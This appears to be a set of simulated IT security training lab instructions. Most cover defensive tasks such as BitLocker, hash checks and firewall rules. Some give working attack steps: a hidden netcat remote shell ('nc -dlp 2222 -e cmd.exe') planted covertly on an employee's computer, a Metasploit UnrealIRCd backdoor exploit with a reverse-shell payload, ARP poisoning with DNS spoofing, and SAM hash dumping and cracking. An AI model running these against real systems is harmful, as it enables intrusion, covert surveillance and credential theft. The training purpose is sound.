In the search field on the taskbar, enter Control Panel. Select System and Security. Select BitLocker Drive Encryption. Select Turn on BitLocker next to C:. Notice, at the bottom of the window, that Windows indicates that a TPM was not found. Select Cancel. Select Start. Select Power. Select Restart to restart Office1 and activate TPM. When the TestOut logo appears, press Delete to enter the BIOS. Turn on and activate TPM as follows:In the left pane, expand Security.Select TPM Security.In the right pane, select TPM Security to turn TPM security on.Select Apply.Select Activate.Select Apply.Select Exit. Turn on BitLocker as follows:After Office1 finishes rebooting, in the search field, enter Control Panel.Select System and Security.Select BitLocker Drive Encryption.Select Turn on BitLocker. Now Windows is able to begin the Drive Encryption setup.Select Next.Select Restart.Press F10.Select Next. Save the recovery key to \\CorpServer\BU-Office1 as follows:Select Save to a file to back up your recovery key to a file.Browse the network to \\CorpServer\BU-Office1.Select Save.After your recovery key is saved, click Next. Select Encrypt entire drive; then click Next. Leave the default setting selected when choosing the encryption mode and click Next. Select Run BitLocker system check; then click Continue. Select Restart now. When encryption is complete, click Close. Open File Explorer and verify that the Local Disk (C:) drive shows the lock icon.

You are the IT administrator at a small corporate office. You just downloaded a new release for a program you use. You need to make sure the file was not altered before you received it. Another file containing the original file hash was also downloaded. The files are located in C:\Downloads. In this lab, your task is to use MD5 hash files to confirm that the Release.zip file was unaltered as follows

Right-click Start and select Windows PowerShell (Admin). At the prompt, type cd \downloads and press Enter to navigate to the directory that contains the files. Type dir and press Enter to view the available files. Type get-filehash Release.zip -a md5 and press Enter to view the MD5 hash. Type get-content release821hash.txt and press Enter to view the known hash contained in the .txt file. Type "calculated hash" -eq "known hash" and press Enter to determine if the file hashes match. In the top right, select Answer Questions. Answer the question. Select Score Lab.

You are a cybersecurity consultant. The company hiring you suspects that employees are connecting to a rogue access point (AP). You need to find the name of the hidden rogue AP so it can be deauthorized. The computer suspected of using the rogue access point is Exec-Laptop. In this lab, your task is to complete the following: On IT-Laptop, use airmon-ng to put the wireless adapter in monitor mode. Use airodump-ng to find the hidden access point. On Exec-Laptop, connect to the rogue AP using the CoffeeShop SSID. Answer the question.

On IT-Laptop, configure the wlp1s0 card to run in monitor mode as follows:From the Favorites bar, open Terminal.At the prompt, type airmon-ng and press Enter to find the name of the wireless adapter.Type airmon-ng start wlp1s0 and press Enter to put the adapter in monitor mode.Type airmon-ng and press Enter to view the new name of the wireless adapter. Use airodump-ng to discover and isolate the hidden access point as follows:Type airodump-ng wlp1s0mon and press Enter to discover all of the access points.Press Ctrl + c to stop airodump-ng.Find the hidden access point ESSID <length : 0>.In the top right, select Answer Questions.Answer the question.In Terminal, type airodump-ng wlp1s0mon --bssid bssid_number and press Enter to isolate the hidden access point. Switch to the Exec-Laptop and connect to the Wi-Fi network as follows:From the top navigation tabs, select Floor 1 Overview.Under Executive Office, select Exec-Laptop.From the notification area, select the Wi-Fi network icon.Select Hidden Network.Select Connect.In the Enter the name (SSID) for the network field, type CoffeeShop.In a real environment, you'll only need to wait until the employee connects to the rogue access point again.Select Next.Select Yes.Under Lab Questions, select Score Lab.

You are the IT security administrator for a small corporate network. You suspect an employee is misusing a company computer by downloading copyrighted music files at work and storing them on an external drive. You notice that the employee has gone to lunch and decide to use this opportunity to set up a backdoor access and to investigate the external drive at a later time when the employee connects the drive to the computer. You begin by installing netcat on the employee's computer and adding the C:/netcat folder to the path environment variable so that it can be run outside of the folder.

On Office1, run netcat from a PowerShell window as follows:Right-click Start and select Windows Powershell (Admin).At the prompt, type nc -dlp 2222 -e cmd.exe and press Enter to start netcat in listen mode.Close the PowerShell window so the employee doesn't see an open window. On IT-Laptop, run netcat to connect to Office1 as follows:From the top navigation tabs, select Floor 1 Overview.Under IT Administration, select IT-Laptop.From the Favorites bar, open Terminal.At the prompt, type nc Office1 2222 and press Enter to start netcat in client mode. Type dir /s g: and press Enter to inspect the G: drive.

You are the IT security administrator for a small corporate network. You have some security issues on a few Internet of Things (IoT) devices. You can use the Security Evaluator to find these problems. In this lab, your task is to: Find a device using the IP address of 192.168.0.54. Find all devices using an IP address in the range of 192.168.0.60 through 192.168.0.69. Answer the questions.

Run a Security Evaluator report for 192.168.0.54 as follows:From the taskbar, open Security Evaluator.Next to Target, select the Target icon to select a new target.Select IPv4 Address.Enter 192.168.0.54 as the IP address.Click OK.Next to Status, select the Run/Rerun Security Evaluation icon to run a security evaluation.In the top right, select Answer Questions.Answer questions 1 and 2. Run a Security Evaluator report for an IP range of 192.168.0.60 through 192.168.0.69 as follows:From the Security Evaluator, select the Target icon to select a new target.Select IPv4 Range.In the left field, type 192.168.0.60 as the beginning IP address.In the right field, type 192.168.0.69 as the ending IP address.Click OK.Next to Status, select the Run/Rerun Security Evaluation icon to run a security evaluation.Answer question 3.Select Score Lab.

You are an ethical hacker consultant working for CorpNet. They want you to discover weaknesses in their network. From outside the CorpNet network, you used Zenmap and discovered that the www_stage server located in CorpNet's DMZ is running an exploitable application named UnrealIRCd. This allows you to set up a backdoor using Metasploit. In this lab, your task is to: Create a backdoor on www_stage using Metasploit by exploiting the UnrealIRCd application using the following information:Search for Unreal exploits.Use the exploit that allows Backdoor Command Execution.Configure the remote host (RHOST) with the 198.28.1.15 IP address; the same IP address as www_stage.Set the payload to the cmd/unix/reverse payload.Verify that the local host (LHOST) was set to the 147.191.29.15 IP address (the same IP address as Consult-Lap2).Execute the exploit.Read the contents of the text file in the /root directory.

Search for UrealIRCd exploits and review the exploit information as follows:From the Favorites bar, open Metasploit Framework.At the prompt, type search Unreal and press Enter to search for any UnrealIRCd exploits.Type info exploit/unix/irc/unreal_ircd_3281_backdoor and press Enter to review the exploit information.Notice that RHOST is required. Use the exploit/unix/irc/unreal_ircd_3281_backdoor exploit and configure the exploit's RHOST IP address as follows:Type use exploit/unix/irc/unreal_ircd_3281_backdoor and press Enter to use the exploit.Type show options and press Enter.Notice the absence of the current setting for RHOST.Type set RHOST 198.28.1.15 and press Enter to configure the remote host setting.Type show options and press Enter to confirm that RHOST is set. Set the payload as follows:Type show payloads and press Enter to list available payloads.Type set payload cmd/unix/reverse and press Enter to specify the correct payload.Type show options and press Enter to review the exploit's configuration.Notice that LHOST is automatically set to the IP address for Consult-Lap2. Execute the exploit and examine the text file in the /root directory as follows:Type exploit and press Enter to execute the exploit.Type ifconfig and press Enter to confirm that the backdoor has been established.Notice the IP address is 198.28.1.15; the same IP address as www_stage.Type pwd and press Enter to confirm you are in the /root directory.Type ls and press Enter to list the files in the /root directory.Type cat Staging_Features_CONFIDENTIAL.txt and press Enter to review the contents of a file that appears to contain sensitive information. In the top right, select Answer Questions. Answer the question. Select Score Lab.

ou are the IT administrator for a small corporate network. The receptionist, Maggie Brown, uses an iPad to manage employee schedules and messages. You need to help her make the iPad more secure. The current simple passcode is 1542. In this lab, your task is to: Set a secure passcode on the iPad as follows:Require a passcode: After 5 minutesNew passcode: KeepOutOfMyPad Configure the iPad to erase data after 10 failed passcode attempts.

Set a secure passcode on the iPad as follows:Select Settings.From the left menu, select Touch ID & Passcode.Enter 1542 for the passcode.Select Require PasscodeSelect After 5 minutes.At the top, select Passcode Lock.Next to Simple Passcode, slide the switch to turn off simple passcodes.Enter 1542 for the passcode.Enter KeepOutOfMyPad as the new passcode.Select Next.Enter KeepOutOfMyPad to re-enter the new passcode.Select Done. Configure the iPad to erase data after 10 failed passcode attempts as follows:On the Touch ID & Passcode page next to Erase Data, slide the switch to enable Erase Data.Select Enable.

You are the IT security administrator for a small corporate network. You want to spoof the DNS to redirect traffic as part of a man-in-the-middle attack. In this lab, your task is to: Use Ettercap to begin sniffing and scanning for hosts. Set Exec (192.168.0.30) as the target machine Initiate DNS spoofing. From Exec, access rmksupplies.com.

Use Ettercap to begin sniffing and scanning for hosts as follows:From the Favorites bar, open Ettercap.Select Sniff.Select Unified sniffing.From the Network Interface drop-down list, select enp2s0.Select OK.Select Hosts and select Scan for hosts. Set Exec (192.168.0.30) as the target machine as follows:Select Hosts and select Host list.Under IP Address, select 192.168.0.30.Select Add to Target 1 to assign it as the target. Initiate DNS spoofing as follows:Select Plugins.Select Manage the plugins.Select the Plugins tab.Double-click dns_spoof to activate it.Select Mitm.Select ARP poisoning.Select Sniff remote connections.Select OK. From Exec, access rmksupplies.com as follows:From the top navigation tabs, select Floor 1 Overview.Under Executive Office, select Exec.From the task bar, open Chrome.In the URL field, type rmksupplies.com and press Enter.Notice that the page was redirected to RUS Office Supplies despite the web address not changing

You are the IT security administrator for a small corporate network. You are concerned about unauthorized activity in your DMZ, so you decide to set up a honeypot to study hacking attempts. In this lab, your task is to: Use Pentbox to create a honeypot on www_stage. Test the honeypot on Consult-Lap using www_stage.corpnet.xyz in Chrome. Verify the intrusion on www_stage. Answer the questions.

Use Pentbox to create a honeypot on www_stage as follows:From the Favorites bar, open Terminal.At the prompt, type cd pentbox-1.8 and press Enter to change to the pentbox directory.Type ./pentbox.rb and press Enter to start Pentbox.Type 2 and press Enter to select Network Tools.Type 3 and press Enter to select Honeypot.Type 1 and press Enter to select Fast Auto Configuration. Test the honeypot using Chrome as follows:From the top navigation tabs, select Buildings.Under Red Cell, select Consult-Lap.From the task bar, open Chrome.In the URL field, enter www_stage.corpnet.xyz and press Enter.In the top right, select Answer Questions.Answer Question 1.Minimize the Lab Questions dialog. Review the effects of the intrusion on www_stage as follows:From the top navigation tabs, select Buildings.Under Building A, select Basement.Under Basement, select www_stage.Notice the INTRUSION ATTEMPT DETECTED message at the bottom of the Pentbox window. In the top right, select Answer Questions. Answer Question 2. Select Score Lab.

You are the IT security administrator for a small corporate network. Several of your users have reported that they are unable to connect to the network. After examining their computers, they all seem to be getting bad IP address information from a rogue DHCP server. In this lab, your task is to identify the rogue DHCP server using Wireshark: Use Wireshark to capture and filter DHCP traffic. Disable and enable the enp2s0 network interface to request a new IP address from the DHCP server. Find the rogue DHCP server. Answer the questions.

Use Wireshark to capture and filter DHCP traffic as follows:From the Favorites bar, select Wireshark.Under Capture, select enp2s0.Select the blue fin to begin a Wireshark capture.In the Apply a display filter field, type bootp and press Enter. Disable and enable the enp2s0 network interface as follows:From the Favorites bar, select Terminal.At the prompt, type ip addr show and press Enter to view the current IP configuration.Type ip link set enp2s0 down and press Enter.Type ip link set enp2s0 up and press Enter to enable the interface and request an IP address from the DHCP server. Maximize the window for easier viewing. In Wireshark, under the Source column, find the IP addresses of the rogue and legitimate DHCP servers that sent the DHCP Offer packets. In the top right, select Answer Questions. Answer the questions. Select Score Lab.

As the cybersecurity specialist for your company, you're performing a penetration test. As part of this test, you're checking to see if the Security Account Manager (SAM) passwords from a Windows system can be cracked using John the Ripper. In this lab, your task is to crack the SAM passwords as follows: On Office 1, use pwdump7 to export the contents of the SAM to SAMhash.txt. This machine has already been booted into a recovery mode, allowing you to use Troubleshoot > Advanced > Command Prompt to access the SAM file. Copy the exported file to the thumb drive (g: drive) and then move the thumb drive to the IT-Laptop computer. After the thumb drive is inserted, it is automatically mounted to /media/root/ESD-USB/. On IT-Laptop, crack the password using the echo and John the Ripper commands.

Use pwdump7 to create a text file containing the SAM password hashes and copy the new file to the thumb drive as follows:From the recovery dialog, select Troubleshoot.Select Advanced options.Select Command Prompt.Type pwdump7 > SAMhash.txt and press Enter.Type copy SAMhash.txt g: and press Enter. Move the thumb drive from Office 1 to the IT-Laptop computer as follows:From the top navigation tabs, select Office 1.Select the USB Thumb Drive plugged into the front of the computer.Drag the USB Thumb Drive to the Shelf so you can access it later in the IT Administration office.From the top navigation tabs, select Floor 1 Overview.Under IT Administration, select Hardware.Above IT-Laptop, select Back to switch to the back view of the laptop.From the Shelf, drag the USB Thumb Drive to a USB port on the laptop computer.Above IT-Laptop, select Front to switch to the front view of the laptop.On the monitor, select Click to view Linux. Create a new hash file that contains the hash to be cracked as follows:From the Favorites bar, open Terminal.Type cat /media/root/ESD-USB/SAMhash.txt and press Enter.Type echo.Press the space bar.In the Admin line of the output, select the hash in the fourth field. Each field is separated by a colon. This is the hash value that needs to be cracked.Right-click the hash in the fourth field of the Admin line.Notice that the hash was pasted into the command line.Press the space bar.Type > SAMhash.txt.Press Enter. Use John the Ripper and the new hash file to crack the password as follows:Type john SAMhash.txt and press Enter.From the output, find the Admin's password.In the top right, select Answer Questions.Answer the questions.Select Score Lab.

You work as the IT security administrator for a small corporate network. You recently placed a web server in the DMZ. You need to configure the perimeter firewall on the network security appliance to allow access to the web server from the LAN and the WAN. You would also like to improve security by utilizing the attack security features provided by the firewall. In this lab, your task is to:

configure the firewall as follows: From the top menu of the Security Appliance Configuration Utility, select Firewall. From the left pane, select IPv4 Rules.In the right pane, select Add.Modify the firewall rule parameters.Click Apply.Repeat steps 1c-1e for each firewall rule. Enable firewall attack checks as follows:From the left pane, select Attacks.Select all the WAN security checks.Select all the LAN security checks.Select all the ICSA settings.Click Apply.